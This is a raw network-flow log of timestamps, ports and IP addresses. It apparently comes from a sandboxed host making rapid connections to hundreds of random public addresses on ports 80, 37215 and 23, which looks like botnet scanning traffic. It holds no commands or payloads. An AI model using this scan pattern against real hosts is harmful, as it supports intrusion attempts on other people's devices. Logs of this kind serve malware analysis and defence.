Jun 10, 2024 15:37:59.465996981 CEST	16833	80	192.168.2.13	40.191.244.165
Jun 10, 2024 15:37:59.466008902 CEST	16833	80	192.168.2.13	149.248.180.238
Jun 10, 2024 15:37:59.466008902 CEST	16833	80	192.168.2.13	202.161.76.210
Jun 10, 2024 15:37:59.466016054 CEST	37215	30401	197.149.113.57	192.168.2.13
Jun 10, 2024 15:37:59.466038942 CEST	16833	80	192.168.2.13	134.136.54.170
Jun 10, 2024 15:37:59.466042995 CEST	16833	80	192.168.2.13	19.202.16.197
Jun 10, 2024 15:37:59.466051102 CEST	30401	37215	192.168.2.13	197.149.113.57
Jun 10, 2024 15:37:59.466059923 CEST	16833	80	192.168.2.13	109.25.76.69
Jun 10, 2024 15:37:59.466072083 CEST	16833	80	192.168.2.13	175.137.72.95
Jun 10, 2024 15:37:59.466084957 CEST	16833	80	192.168.2.13	83.245.86.39
Jun 10, 2024 15:37:59.466098070 CEST	16833	80	192.168.2.13	211.33.128.124
Jun 10, 2024 15:37:59.466104984 CEST	16833	80	192.168.2.13	62.195.162.78
Jun 10, 2024 15:37:59.466109037 CEST	16833	80	192.168.2.13	59.154.149.162
Jun 10, 2024 15:37:59.466120958 CEST	16833	80	192.168.2.13	195.129.99.188
Jun 10, 2024 15:37:59.466129065 CEST	16833	80	192.168.2.13	69.65.43.112
Jun 10, 2024 15:37:59.466140032 CEST	16833	80	192.168.2.13	119.150.13.86
Jun 10, 2024 15:37:59.466150045 CEST	16833	80	192.168.2.13	135.73.80.130
Jun 10, 2024 15:37:59.466169119 CEST	16833	80	192.168.2.13	130.165.35.95
Jun 10, 2024 15:37:59.466171026 CEST	16833	80	192.168.2.13	69.52.6.77
Jun 10, 2024 15:37:59.466196060 CEST	16833	80	192.168.2.13	78.127.178.88
Jun 10, 2024 15:37:59.466200113 CEST	16833	80	192.168.2.13	152.91.41.178
Jun 10, 2024 15:37:59.466201067 CEST	16833	80	192.168.2.13	126.167.27.130
Jun 10, 2024 15:37:59.466213942 CEST	16833	80	192.168.2.13	218.22.70.180
Jun 10, 2024 15:37:59.466214895 CEST	16833	80	192.168.2.13	111.18.225.167
Jun 10, 2024 15:37:59.466228008 CEST	16833	80	192.168.2.13	79.91.159.108
Jun 10, 2024 15:37:59.466238976 CEST	16833	80	192.168.2.13	24.158.108.212
Jun 10, 2024 15:37:59.466257095 CEST	16833	80	192.168.2.13	65.135.101.241
Jun 10, 2024 15:37:59.466257095 CEST	16833	80	192.168.2.13	92.112.68.182
Jun 10, 2024 15:37:59.466274977 CEST	16833	80	192.168.2.13	125.87.206.187
Jun 10, 2024 15:37:59.466296911 CEST	16833	80	192.168.2.13	27.253.32.109
Jun 10, 2024 15:37:59.466303110 CEST	16833	80	192.168.2.13	151.51.155.169
Jun 10, 2024 15:37:59.466326952 CEST	16833	80	192.168.2.13	199.58.57.213
Jun 10, 2024 15:37:59.466335058 CEST	16833	80	192.168.2.13	174.45.110.205
Jun 10, 2024 15:37:59.466340065 CEST	16833	80	192.168.2.13	186.123.137.166
Jun 10, 2024 15:37:59.466340065 CEST	16833	80	192.168.2.13	168.224.51.139
Jun 10, 2024 15:37:59.466346979 CEST	16833	80	192.168.2.13	90.156.239.9
Jun 10, 2024 15:37:59.466351986 CEST	16833	80	192.168.2.13	96.69.164.9
Jun 10, 2024 15:37:59.466365099 CEST	16833	80	192.168.2.13	23.12.175.138
Jun 10, 2024 15:37:59.466378927 CEST	16833	80	192.168.2.13	44.52.20.204
Jun 10, 2024 15:37:59.466392040 CEST	16833	80	192.168.2.13	94.141.44.123
Jun 10, 2024 15:37:59.466403961 CEST	16833	80	192.168.2.13	219.221.51.118
Jun 10, 2024 15:37:59.466403961 CEST	16833	80	192.168.2.13	4.1.20.45
Jun 10, 2024 15:37:59.466418028 CEST	16833	80	192.168.2.13	153.13.7.19
Jun 10, 2024 15:37:59.466418028 CEST	16833	80	192.168.2.13	106.255.159.85
Jun 10, 2024 15:37:59.466438055 CEST	16833	80	192.168.2.13	50.30.113.10
Jun 10, 2024 15:37:59.466440916 CEST	16833	80	192.168.2.13	82.116.175.35
Jun 10, 2024 15:37:59.466455936 CEST	16833	80	192.168.2.13	129.2.75.114
Jun 10, 2024 15:37:59.466460943 CEST	16833	80	192.168.2.13	183.115.2.239
Jun 10, 2024 15:37:59.466470003 CEST	16833	80	192.168.2.13	154.72.156.155
Jun 10, 2024 15:37:59.466505051 CEST	16833	80	192.168.2.13	38.172.242.203
Jun 10, 2024 15:37:59.466506004 CEST	16833	80	192.168.2.13	185.145.134.206
Jun 10, 2024 15:37:59.466525078 CEST	16833	80	192.168.2.13	35.15.134.94
Jun 10, 2024 15:37:59.466526031 CEST	37215	30401	41.38.164.93	192.168.2.13
Jun 10, 2024 15:37:59.466528893 CEST	16833	80	192.168.2.13	200.15.230.45
Jun 10, 2024 15:37:59.466536045 CEST	16833	80	192.168.2.13	209.235.71.46
Jun 10, 2024 15:37:59.466537952 CEST	16833	80	192.168.2.13	139.157.240.58
Jun 10, 2024 15:37:59.466552019 CEST	37215	30401	156.231.3.185	192.168.2.13
Jun 10, 2024 15:37:59.466555119 CEST	16833	80	192.168.2.13	120.212.87.220
Jun 10, 2024 15:37:59.466562033 CEST	30401	37215	192.168.2.13	41.38.164.93
Jun 10, 2024 15:37:59.466566086 CEST	37215	30401	197.9.107.34	192.168.2.13
Jun 10, 2024 15:37:59.466573000 CEST	16833	80	192.168.2.13	99.142.29.116
Jun 10, 2024 15:37:59.466588020 CEST	30401	37215	192.168.2.13	156.231.3.185
Jun 10, 2024 15:37:59.466588020 CEST	16833	80	192.168.2.13	50.80.156.250
Jun 10, 2024 15:37:59.466590881 CEST	37215	30401	41.140.184.247	192.168.2.13
Jun 10, 2024 15:37:59.466598988 CEST	16833	80	192.168.2.13	60.252.150.82
Jun 10, 2024 15:37:59.466604948 CEST	37215	30401	41.204.133.93	192.168.2.13
Jun 10, 2024 15:37:59.466605902 CEST	30401	37215	192.168.2.13	197.9.107.34
Jun 10, 2024 15:37:59.466614008 CEST	16833	80	192.168.2.13	113.115.78.135
Jun 10, 2024 15:37:59.466619015 CEST	37215	30401	197.37.79.4	192.168.2.13
Jun 10, 2024 15:37:59.466629028 CEST	30401	37215	192.168.2.13	41.140.184.247
Jun 10, 2024 15:37:59.466631889 CEST	37215	30401	41.117.93.142	192.168.2.13
Jun 10, 2024 15:37:59.466640949 CEST	30401	37215	192.168.2.13	41.204.133.93
Jun 10, 2024 15:37:59.466645002 CEST	37215	30401	197.64.121.194	192.168.2.13
Jun 10, 2024 15:37:59.466656923 CEST	30401	37215	192.168.2.13	197.37.79.4
Jun 10, 2024 15:37:59.466670990 CEST	30401	37215	192.168.2.13	41.117.93.142
Jun 10, 2024 15:37:59.466674089 CEST	37215	30401	41.186.239.153	192.168.2.13
Jun 10, 2024 15:37:59.466675997 CEST	16833	80	192.168.2.13	169.184.154.168
Jun 10, 2024 15:37:59.466675997 CEST	30401	37215	192.168.2.13	197.64.121.194
Jun 10, 2024 15:37:59.466687918 CEST	37215	30401	41.144.136.243	192.168.2.13
Jun 10, 2024 15:37:59.466695070 CEST	16833	80	192.168.2.13	129.147.11.149
Jun 10, 2024 15:37:59.466701984 CEST	37215	30401	197.255.246.136	192.168.2.13
Jun 10, 2024 15:37:59.466713905 CEST	37215	30401	156.197.209.223	192.168.2.13
Jun 10, 2024 15:37:59.466726065 CEST	37215	30401	156.159.10.140	192.168.2.13
Jun 10, 2024 15:37:59.466737986 CEST	37215	30401	156.32.124.85	192.168.2.13
Jun 10, 2024 15:37:59.466748953 CEST	37215	30401	156.218.214.250	192.168.2.13
Jun 10, 2024 15:37:59.466751099 CEST	16833	80	192.168.2.13	73.194.125.69
Jun 10, 2024 15:37:59.466751099 CEST	16833	80	192.168.2.13	42.129.181.220
Jun 10, 2024 15:37:59.466758013 CEST	16833	80	192.168.2.13	73.204.138.214
Jun 10, 2024 15:37:59.466758966 CEST	30401	37215	192.168.2.13	197.255.246.136
Jun 10, 2024 15:37:59.466761112 CEST	37215	30401	41.209.100.187	192.168.2.13
Jun 10, 2024 15:37:59.466758966 CEST	30401	37215	192.168.2.13	156.159.10.140
Jun 10, 2024 15:37:59.466763973 CEST	30401	37215	192.168.2.13	156.197.209.223
Jun 10, 2024 15:37:59.466764927 CEST	16833	80	192.168.2.13	9.173.218.89
Jun 10, 2024 15:37:59.466764927 CEST	16833	80	192.168.2.13	13.132.235.227
Jun 10, 2024 15:37:59.466763973 CEST	30401	37215	192.168.2.13	41.186.239.153
Jun 10, 2024 15:37:59.466763973 CEST	30401	37215	192.168.2.13	41.144.136.243
Jun 10, 2024 15:37:59.466773987 CEST	30401	37215	192.168.2.13	156.32.124.85
Jun 10, 2024 15:37:59.466774940 CEST	37215	30401	41.109.81.128	192.168.2.13
Jun 10, 2024 15:37:59.466780901 CEST	30401	37215	192.168.2.13	156.218.214.250
Jun 10, 2024 15:37:59.466780901 CEST	16833	80	192.168.2.13	191.51.130.179
Jun 10, 2024 15:37:59.466790915 CEST	16833	80	192.168.2.13	116.160.201.46
Jun 10, 2024 15:37:59.466790915 CEST	37215	30401	197.156.129.89	192.168.2.13
Jun 10, 2024 15:37:59.466797113 CEST	30401	37215	192.168.2.13	41.209.100.187
Jun 10, 2024 15:37:59.466804981 CEST	37215	30401	41.89.132.28	192.168.2.13
Jun 10, 2024 15:37:59.466805935 CEST	16833	80	192.168.2.13	148.132.124.60
Jun 10, 2024 15:37:59.466815948 CEST	16833	80	192.168.2.13	89.40.7.133
Jun 10, 2024 15:37:59.466826916 CEST	30401	37215	192.168.2.13	197.156.129.89
Jun 10, 2024 15:37:59.466835976 CEST	30401	37215	192.168.2.13	41.89.132.28
Jun 10, 2024 15:37:59.466850996 CEST	30401	37215	192.168.2.13	41.109.81.128
Jun 10, 2024 15:37:59.466855049 CEST	16833	80	192.168.2.13	211.12.222.68
Jun 10, 2024 15:37:59.466855049 CEST	16833	80	192.168.2.13	5.39.84.242
Jun 10, 2024 15:37:59.466873884 CEST	16833	80	192.168.2.13	34.159.157.242
Jun 10, 2024 15:37:59.466885090 CEST	16833	80	192.168.2.13	193.32.70.113
Jun 10, 2024 15:37:59.466886044 CEST	16833	80	192.168.2.13	156.196.95.20
Jun 10, 2024 15:37:59.466893911 CEST	16833	80	192.168.2.13	154.30.96.185
Jun 10, 2024 15:37:59.466912985 CEST	16833	80	192.168.2.13	216.53.216.21
Jun 10, 2024 15:37:59.466916084 CEST	16833	80	192.168.2.13	217.83.246.128
Jun 10, 2024 15:37:59.466917038 CEST	16833	80	192.168.2.13	102.159.78.3
Jun 10, 2024 15:37:59.466928959 CEST	16833	80	192.168.2.13	101.95.196.107
Jun 10, 2024 15:37:59.466933012 CEST	16833	80	192.168.2.13	165.252.154.242
Jun 10, 2024 15:37:59.466944933 CEST	16833	80	192.168.2.13	42.19.226.167
Jun 10, 2024 15:37:59.466952085 CEST	16833	80	192.168.2.13	112.204.34.128
Jun 10, 2024 15:37:59.466967106 CEST	16833	80	192.168.2.13	86.27.244.166
Jun 10, 2024 15:37:59.466981888 CEST	16833	80	192.168.2.13	53.226.21.23
Jun 10, 2024 15:37:59.466985941 CEST	16833	80	192.168.2.13	185.113.204.23
Jun 10, 2024 15:37:59.467003107 CEST	16833	80	192.168.2.13	132.2.216.173
Jun 10, 2024 15:37:59.467005968 CEST	16833	80	192.168.2.13	200.173.179.81
Jun 10, 2024 15:37:59.467022896 CEST	16833	80	192.168.2.13	87.158.85.16
Jun 10, 2024 15:37:59.467048883 CEST	16833	80	192.168.2.13	220.224.218.240
Jun 10, 2024 15:37:59.467068911 CEST	16833	80	192.168.2.13	40.29.187.73
Jun 10, 2024 15:37:59.467068911 CEST	16833	80	192.168.2.13	46.233.144.43
Jun 10, 2024 15:37:59.467077017 CEST	16833	80	192.168.2.13	169.16.92.41
Jun 10, 2024 15:37:59.467082024 CEST	16833	80	192.168.2.13	53.112.29.63
Jun 10, 2024 15:37:59.467089891 CEST	16833	80	192.168.2.13	197.31.214.208
Jun 10, 2024 15:37:59.467092037 CEST	16833	80	192.168.2.13	99.136.93.237
Jun 10, 2024 15:37:59.467099905 CEST	16833	80	192.168.2.13	64.70.176.50
Jun 10, 2024 15:37:59.467114925 CEST	16833	80	192.168.2.13	206.79.118.21
Jun 10, 2024 15:37:59.467116117 CEST	16833	80	192.168.2.13	220.246.69.227
Jun 10, 2024 15:37:59.467130899 CEST	16833	80	192.168.2.13	156.154.77.178
Jun 10, 2024 15:37:59.467134953 CEST	16833	80	192.168.2.13	181.157.220.148
Jun 10, 2024 15:37:59.467144012 CEST	16833	80	192.168.2.13	115.133.55.129
Jun 10, 2024 15:37:59.467145920 CEST	16833	80	192.168.2.13	112.221.236.95
Jun 10, 2024 15:37:59.467159033 CEST	16833	80	192.168.2.13	13.43.0.39
Jun 10, 2024 15:37:59.467180014 CEST	16833	80	192.168.2.13	181.130.56.198
Jun 10, 2024 15:37:59.467187881 CEST	16833	80	192.168.2.13	162.226.61.243
Jun 10, 2024 15:37:59.467210054 CEST	16833	80	192.168.2.13	157.104.201.154
Jun 10, 2024 15:37:59.467211962 CEST	16833	80	192.168.2.13	124.198.230.56
Jun 10, 2024 15:37:59.467225075 CEST	16833	80	192.168.2.13	152.83.224.204
Jun 10, 2024 15:37:59.467241049 CEST	16833	80	192.168.2.13	96.171.224.255
Jun 10, 2024 15:37:59.467248917 CEST	16833	80	192.168.2.13	135.106.4.49
Jun 10, 2024 15:37:59.467269897 CEST	16833	80	192.168.2.13	35.6.140.171
Jun 10, 2024 15:37:59.467278004 CEST	16833	80	192.168.2.13	67.178.145.169
Jun 10, 2024 15:37:59.467294931 CEST	16833	80	192.168.2.13	223.77.161.58
Jun 10, 2024 15:37:59.467294931 CEST	16833	80	192.168.2.13	17.180.5.18
Jun 10, 2024 15:37:59.467315912 CEST	16833	80	192.168.2.13	97.59.162.117
Jun 10, 2024 15:37:59.467339993 CEST	16833	80	192.168.2.13	120.49.47.0
Jun 10, 2024 15:37:59.467340946 CEST	16833	80	192.168.2.13	80.166.229.108
Jun 10, 2024 15:37:59.467547894 CEST	49110	37215	192.168.2.13	156.143.243.166
Jun 10, 2024 15:37:59.467637062 CEST	37215	30401	156.29.235.89	192.168.2.13
Jun 10, 2024 15:37:59.467649937 CEST	37215	30401	156.165.201.247	192.168.2.13
Jun 10, 2024 15:37:59.467662096 CEST	37215	30401	156.168.136.24	192.168.2.13
Jun 10, 2024 15:37:59.467678070 CEST	30401	37215	192.168.2.13	156.29.235.89
Jun 10, 2024 15:37:59.467686892 CEST	30401	37215	192.168.2.13	156.165.201.247
Jun 10, 2024 15:37:59.467690945 CEST	30401	37215	192.168.2.13	156.168.136.24
Jun 10, 2024 15:37:59.467713118 CEST	37215	30401	197.218.247.171	192.168.2.13
Jun 10, 2024 15:37:59.467727900 CEST	37215	30401	197.99.205.156	192.168.2.13
Jun 10, 2024 15:37:59.467740059 CEST	37215	30401	156.245.2.205	192.168.2.13
Jun 10, 2024 15:37:59.467751980 CEST	37215	30401	197.226.229.29	192.168.2.13
Jun 10, 2024 15:37:59.467760086 CEST	30401	37215	192.168.2.13	197.218.247.171
Jun 10, 2024 15:37:59.467760086 CEST	30401	37215	192.168.2.13	197.99.205.156
Jun 10, 2024 15:37:59.467762947 CEST	37215	30401	41.179.145.152	192.168.2.13
Jun 10, 2024 15:37:59.467770100 CEST	30401	37215	192.168.2.13	156.245.2.205
Jun 10, 2024 15:37:59.467776060 CEST	37215	30401	41.195.163.183	192.168.2.13
Jun 10, 2024 15:37:59.467787027 CEST	30401	37215	192.168.2.13	197.226.229.29
Jun 10, 2024 15:37:59.467788935 CEST	37215	30401	197.50.100.135	192.168.2.13
Jun 10, 2024 15:37:59.467796087 CEST	30401	37215	192.168.2.13	41.179.145.152
Jun 10, 2024 15:37:59.467802048 CEST	37215	30401	156.90.232.117	192.168.2.13
Jun 10, 2024 15:37:59.467804909 CEST	30401	37215	192.168.2.13	41.195.163.183
Jun 10, 2024 15:37:59.467813969 CEST	37215	30401	156.225.196.18	192.168.2.13
Jun 10, 2024 15:37:59.467825890 CEST	37215	30401	156.15.16.186	192.168.2.13
Jun 10, 2024 15:37:59.467828989 CEST	30401	37215	192.168.2.13	197.50.100.135
Jun 10, 2024 15:37:59.467838049 CEST	37215	30401	41.63.241.27	192.168.2.13
Jun 10, 2024 15:37:59.467842102 CEST	30401	37215	192.168.2.13	156.90.232.117
Jun 10, 2024 15:37:59.467847109 CEST	30401	37215	192.168.2.13	156.225.196.18
Jun 10, 2024 15:37:59.467850924 CEST	37215	30401	156.156.74.74	192.168.2.13
Jun 10, 2024 15:37:59.467863083 CEST	37215	30401	197.244.78.206	192.168.2.13
Jun 10, 2024 15:37:59.467869043 CEST	30401	37215	192.168.2.13	156.15.16.186
Jun 10, 2024 15:37:59.467870951 CEST	30401	37215	192.168.2.13	41.63.241.27
Jun 10, 2024 15:37:59.467875957 CEST	37215	30401	156.38.108.66	192.168.2.13
Jun 10, 2024 15:37:59.467888117 CEST	37215	30401	197.57.68.100	192.168.2.13
Jun 10, 2024 15:37:59.467900038 CEST	30401	37215	192.168.2.13	156.156.74.74
Jun 10, 2024 15:37:59.467900038 CEST	37215	30401	197.67.118.32	192.168.2.13
Jun 10, 2024 15:37:59.467900038 CEST	30401	37215	192.168.2.13	197.244.78.206
Jun 10, 2024 15:37:59.467910051 CEST	30401	37215	192.168.2.13	156.38.108.66
Jun 10, 2024 15:37:59.467915058 CEST	37215	30401	41.236.7.25	192.168.2.13
Jun 10, 2024 15:37:59.467916012 CEST	30401	37215	192.168.2.13	197.57.68.100
Jun 10, 2024 15:37:59.467926979 CEST	37215	30401	156.211.48.76	192.168.2.13
Jun 10, 2024 15:37:59.467933893 CEST	30401	37215	192.168.2.13	197.67.118.32
Jun 10, 2024 15:37:59.467938900 CEST	37215	30401	41.223.243.35	192.168.2.13
Jun 10, 2024 15:37:59.467951059 CEST	37215	30401	41.45.237.96	192.168.2.13
Jun 10, 2024 15:37:59.467962980 CEST	37215	30401	41.58.54.58	192.168.2.13
Jun 10, 2024 15:37:59.467973948 CEST	37215	30401	41.186.220.178	192.168.2.13
Jun 10, 2024 15:37:59.467976093 CEST	30401	37215	192.168.2.13	41.223.243.35
Jun 10, 2024 15:37:59.467988014 CEST	37215	30401	197.128.25.119	192.168.2.13
Jun 10, 2024 15:37:59.467998028 CEST	30401	37215	192.168.2.13	41.236.7.25
Jun 10, 2024 15:37:59.467998028 CEST	30401	37215	192.168.2.13	156.211.48.76
Jun 10, 2024 15:37:59.467998028 CEST	30401	37215	192.168.2.13	41.45.237.96
Jun 10, 2024 15:37:59.468000889 CEST	30401	37215	192.168.2.13	41.58.54.58
Jun 10, 2024 15:37:59.468004942 CEST	37215	30401	156.245.237.250	192.168.2.13
Jun 10, 2024 15:37:59.468008995 CEST	30401	37215	192.168.2.13	41.186.220.178
Jun 10, 2024 15:37:59.468019009 CEST	37215	30401	197.57.169.86	192.168.2.13
Jun 10, 2024 15:37:59.468019009 CEST	30401	37215	192.168.2.13	197.128.25.119
Jun 10, 2024 15:37:59.468031883 CEST	37215	30401	41.241.121.248	192.168.2.13
Jun 10, 2024 15:37:59.468034983 CEST	30401	37215	192.168.2.13	156.245.237.250
Jun 10, 2024 15:37:59.468044996 CEST	37215	30401	156.122.137.98	192.168.2.13
Jun 10, 2024 15:37:59.468051910 CEST	43168	23	192.168.2.13	222.55.142.174
Jun 10, 2024 15:37:59.468058109 CEST	30401	37215	192.168.2.13	197.57.169.86
Jun 10, 2024 15:37:59.468058109 CEST	37215	30401	41.194.61.76	192.168.2.13
Jun 10, 2024 15:37:59.468069077 CEST	30401	37215	192.168.2.13	41.241.121.248
Jun 10, 2024 15:37:59.468071938 CEST	37215	30401	156.176.31.94	192.168.2.13
Jun 10, 2024 15:37:59.468084097 CEST	37215	30401	156.163.189.151	192.168.2.13
Jun 10, 2024 15:37:59.468091965 CEST	30401	37215	192.168.2.13	156.122.137.98
Jun 10, 2024 15:37:59.468091965 CEST	30401	37215	192.168.2.13	41.194.61.76
Jun 10, 2024 15:37:59.468095064 CEST	37215	30401	41.253.102.61	192.168.2.13
Jun 10, 2024 15:37:59.468106031 CEST	30401	37215	192.168.2.13	156.176.31.94
Jun 10, 2024 15:37:59.468107939 CEST	37215	30401	197.116.197.156	192.168.2.13
Jun 10, 2024 15:37:59.468121052 CEST	37215	30401	156.12.201.188	192.168.2.13
Jun 10, 2024 15:37:59.468122005 CEST	30401	37215	192.168.2.13	156.163.189.151
Jun 10, 2024 15:37:59.468125105 CEST	30401	37215	192.168.2.13	41.253.102.61
Jun 10, 2024 15:37:59.468132973 CEST	37215	30401	156.19.135.49	192.168.2.13
Jun 10, 2024 15:37:59.468139887 CEST	30401	37215	192.168.2.13	197.116.197.156
Jun 10, 2024 15:37:59.468146086 CEST	37215	30401	156.24.110.61	192.168.2.13
Jun 10, 2024 15:37:59.468158007 CEST	37215	30401	41.130.180.46	192.168.2.13
Jun 10, 2024 15:37:59.468158007 CEST	30401	37215	192.168.2.13	156.12.201.188
Jun 10, 2024 15:37:59.468169928 CEST	37215	30401	197.167.77.113	192.168.2.13
Jun 10, 2024 15:37:59.468170881 CEST	30401	37215	192.168.2.13	156.19.135.49
Jun 10, 2024 15:37:59.468178988 CEST	30401	37215	192.168.2.13	156.24.110.61
Jun 10, 2024 15:37:59.468183041 CEST	37215	30401	156.162.243.21	192.168.2.13
Jun 10, 2024 15:37:59.468194962 CEST	30401	37215	192.168.2.13	41.130.180.46
Jun 10, 2024 15:37:59.468194962 CEST	37215	30401	197.59.140.99	192.168.2.13
Jun 10, 2024 15:37:59.468206882 CEST	30401	37215	192.168.2.13	197.167.77.113
Jun 10, 2024 15:37:59.468208075 CEST	37215	30401	197.238.227.229	192.168.2.13
Jun 10, 2024 15:37:59.468216896 CEST	30401	37215	192.168.2.13	156.162.243.21
Jun 10, 2024 15:37:59.468219995 CEST	37215	30401	197.98.178.183	192.168.2.13
Jun 10, 2024 15:37:59.468226910 CEST	30401	37215	192.168.2.13	197.59.140.99
Jun 10, 2024 15:37:59.468231916 CEST	37215	30401	156.11.232.27	192.168.2.13
Jun 10, 2024 15:37:59.468235970 CEST	30401	37215	192.168.2.13	197.238.227.229
Jun 10, 2024 15:37:59.468244076 CEST	37215	30401	156.253.209.134	192.168.2.13
Jun 10, 2024 15:37:59.468255043 CEST	30401	37215	192.168.2.13	197.98.178.183
Jun 10, 2024 15:37:59.468255997 CEST	37215	30401	197.218.185.191	192.168.2.13
Jun 10, 2024 15:37:59.468269110 CEST	30401	37215	192.168.2.13	156.11.232.27
Jun 10, 2024 15:37:59.468271017 CEST	37215	30401	41.59.124.13	192.168.2.13
Jun 10, 2024 15:37:59.468272924 CEST	30401	37215	192.168.2.13	156.253.209.134
Jun 10, 2024 15:37:59.468286037 CEST	37215	30401	197.211.105.203	192.168.2.13
Jun 10, 2024 15:37:59.468292952 CEST	30401	37215	192.168.2.13	197.218.185.191
Jun 10, 2024 15:37:59.468303919 CEST	30401	37215	192.168.2.13	41.59.124.13
Jun 10, 2024 15:37:59.468310118 CEST	37215	30401	156.205.120.113	192.168.2.13
Jun 10, 2024 15:37:59.468313932 CEST	30401	37215	192.168.2.13	197.211.105.203
Jun 10, 2024 15:37:59.468323946 CEST	37215	30401	41.199.166.65	192.168.2.13
Jun 10, 2024 15:37:59.468336105 CEST	37215	30401	41.169.217.182	192.168.2.13
Jun 10, 2024 15:37:59.468348980 CEST	37215	30401	197.94.187.63	192.168.2.13
Jun 10, 2024 15:37:59.468357086 CEST	30401	37215	192.168.2.13	41.199.166.65
Jun 10, 2024 15:37:59.468359947 CEST	30401	37215	192.168.2.13	156.205.120.113
Jun 10, 2024 15:37:59.468373060 CEST	37215	30401	197.105.195.56	192.168.2.13
Jun 10, 2024 15:37:59.468375921 CEST	30401	37215	192.168.2.13	41.169.217.182
Jun 10, 2024 15:37:59.468384027 CEST	30401	37215	192.168.2.13	197.94.187.63
Jun 10, 2024 15:37:59.468384981 CEST	37215	30401	197.235.137.220	192.168.2.13
Jun 10, 2024 15:37:59.468398094 CEST	37215	30401	156.115.29.3	192.168.2.13
Jun 10, 2024 15:37:59.468410969 CEST	37215	30401	41.222.149.196	192.168.2.13
Jun 10, 2024 15:37:59.468421936 CEST	37215	30401	156.230.39.62	192.168.2.13
Jun 10, 2024 15:37:59.468427896 CEST	30401	37215	192.168.2.13	156.115.29.3
Jun 10, 2024 15:37:59.468434095 CEST	37215	30401	197.253.99.100	192.168.2.13
Jun 10, 2024 15:37:59.468445063 CEST	37215	30401	156.238.163.110	192.168.2.13
Jun 10, 2024 15:37:59.468449116 CEST	30401	37215	192.168.2.13	41.222.149.196
Jun 10, 2024 15:37:59.468451023 CEST	30401	37215	192.168.2.13	156.230.39.62
Jun 10, 2024 15:37:59.468456030 CEST	37215	30401	156.179.78.181	192.168.2.13
Jun 10, 2024 15:37:59.468468904 CEST	37215	30401	156.175.16.45	192.168.2.13
Jun 10, 2024 15:37:59.468471050 CEST	30401	37215	192.168.2.13	197.253.99.100
Jun 10, 2024 15:37:59.468491077 CEST	30401	37215	192.168.2.13	156.238.163.110
Jun 10, 2024 15:37:59.468494892 CEST	23	36614	146.77.88.171	192.168.2.13
Jun 10, 2024 15:37:59.468498945 CEST	30401	37215	192.168.2.13	156.175.16.45
Jun 10, 2024 15:37:59.468504906 CEST	30401	37215	192.168.2.13	197.105.195.56
Jun 10, 2024 15:37:59.468504906 CEST	30401	37215	192.168.2.13	197.235.137.220
Jun 10, 2024 15:37:59.468508005 CEST	37215	30401	197.21.231.68	192.168.2.13
Jun 10, 2024 15:37:59.468508959 CEST	30401	37215	192.168.2.13	156.179.78.181
Jun 10, 2024 15:37:59.468521118 CEST	37215	30401	41.205.70.44	192.168.2.13
Jun 10, 2024 15:37:59.468533039 CEST	37215	30401	156.139.95.100	192.168.2.13
Jun 10, 2024 15:37:59.468533039 CEST	36614	23	192.168.2.13	146.77.88.171
Jun 10, 2024 15:37:59.468544006 CEST	30401	37215	192.168.2.13	197.21.231.68
Jun 10, 2024 15:37:59.468545914 CEST	37215	30401	41.41.194.38	192.168.2.13
Jun 10, 2024 15:37:59.468558073 CEST	37215	30401	41.102.185.160	192.168.2.13
Jun 10, 2024 15:37:59.468569994 CEST	37215	30401	41.219.156.112	192.168.2.13
Jun 10, 2024 15:37:59.468574047 CEST	30401	37215	192.168.2.13	41.205.70.44
Jun 10, 2024 15:37:59.468578100 CEST	30401	37215	192.168.2.13	156.139.95.100
Jun 10, 2024 15:37:59.468578100 CEST	30401	37215	192.168.2.13	41.41.194.38
Jun 10, 2024 15:37:59.468583107 CEST	37215	30401	41.136.197.138	192.168.2.13
Jun 10, 2024 15:37:59.468590975 CEST	30401	37215	192.168.2.13	41.102.185.160
Jun 10, 2024 15:37:59.468596935 CEST	37215	30401	197.110.124.70	192.168.2.13
Jun 10, 2024 15:37:59.468604088 CEST	30401	37215	192.168.2.13	41.136.197.138
Jun 10, 2024 15:37:59.468611002 CEST	37215	30401	41.249.120.45	192.168.2.13
Jun 10, 2024 15:37:59.468616009 CEST	30401	37215	192.168.2.13	41.219.156.112
Jun 10, 2024 15:37:59.468624115 CEST	37215	30401	197.149.56.214	192.168.2.13
Jun 10, 2024 15:37:59.468631029 CEST	30401	37215	192.168.2.13	197.110.124.70
Jun 10, 2024 15:37:59.468636990 CEST	37215	30401	41.30.37.226	192.168.2.13
Jun 10, 2024 15:37:59.468646049 CEST	30401	37215	192.168.2.13	41.249.120.45
Jun 10, 2024 15:37:59.468648911 CEST	37215	30401	197.102.66.46	192.168.2.13
Jun 10, 2024 15:37:59.468661070 CEST	30401	37215	192.168.2.13	197.149.56.214
Jun 10, 2024 15:37:59.468661070 CEST	37215	30401	197.167.140.76	192.168.2.13
Jun 10, 2024 15:37:59.468672991 CEST	37215	30401	197.171.32.30	192.168.2.13
Jun 10, 2024 15:37:59.468674898 CEST	30401	37215	192.168.2.13	41.30.37.226
Jun 10, 2024 15:37:59.468696117 CEST	30401	37215	192.168.2.13	197.102.66.46
Jun 10, 2024 15:37:59.468696117 CEST	30401	37215	192.168.2.13	197.167.140.76
Jun 10, 2024 15:37:59.468700886 CEST	30401	37215	192.168.2.13	197.171.32.30
Jun 10, 2024 15:37:59.468957901 CEST	37215	30401	197.221.255.248	192.168.2.13
Jun 10, 2024 15:37:59.468971014 CEST	37215	30401	156.2.233.90	192.168.2.13
Jun 10, 2024 15:37:59.468981981 CEST	37215	30401	41.75.92.93	192.168.2.13
Jun 10, 2024 15:37:59.469002962 CEST	37215	30401	156.156.35.52	192.168.2.13
Jun 10, 2024 15:37:59.469005108 CEST	30401	37215	192.168.2.13	197.221.255.248
Jun 10, 2024 15:37:59.469016075 CEST	37215	30401	197.44.169.119	192.168.2.13
Jun 10, 2024 15:37:59.469024897 CEST	30401	37215	192.168.2.13	156.2.233.90
Jun 10, 2024 15:37:59.469024897 CEST	30401	37215	192.168.2.13	41.75.92.93
Jun 10, 2024 15:37:59.469027996 CEST	37215	30401	197.42.122.158	192.168.2.13
Jun 10, 2024 15:37:59.469034910 CEST	30401	37215	192.168.2.13	156.156.35.52
Jun 10, 2024 15:37:59.469041109 CEST	37215	30401	41.127.29.35	192.168.2.13
Jun 10, 2024 15:37:59.469053984 CEST	37215	30401	41.26.207.228	192.168.2.13
Jun 10, 2024 15:37:59.469065905 CEST	37215	30401	41.9.224.168	192.168.2.13
Jun 10, 2024 15:37:59.469069958 CEST	30401	37215	192.168.2.13	41.127.29.35
Jun 10, 2024 15:37:59.469078064 CEST	37215	30401	156.34.170.133	192.168.2.13
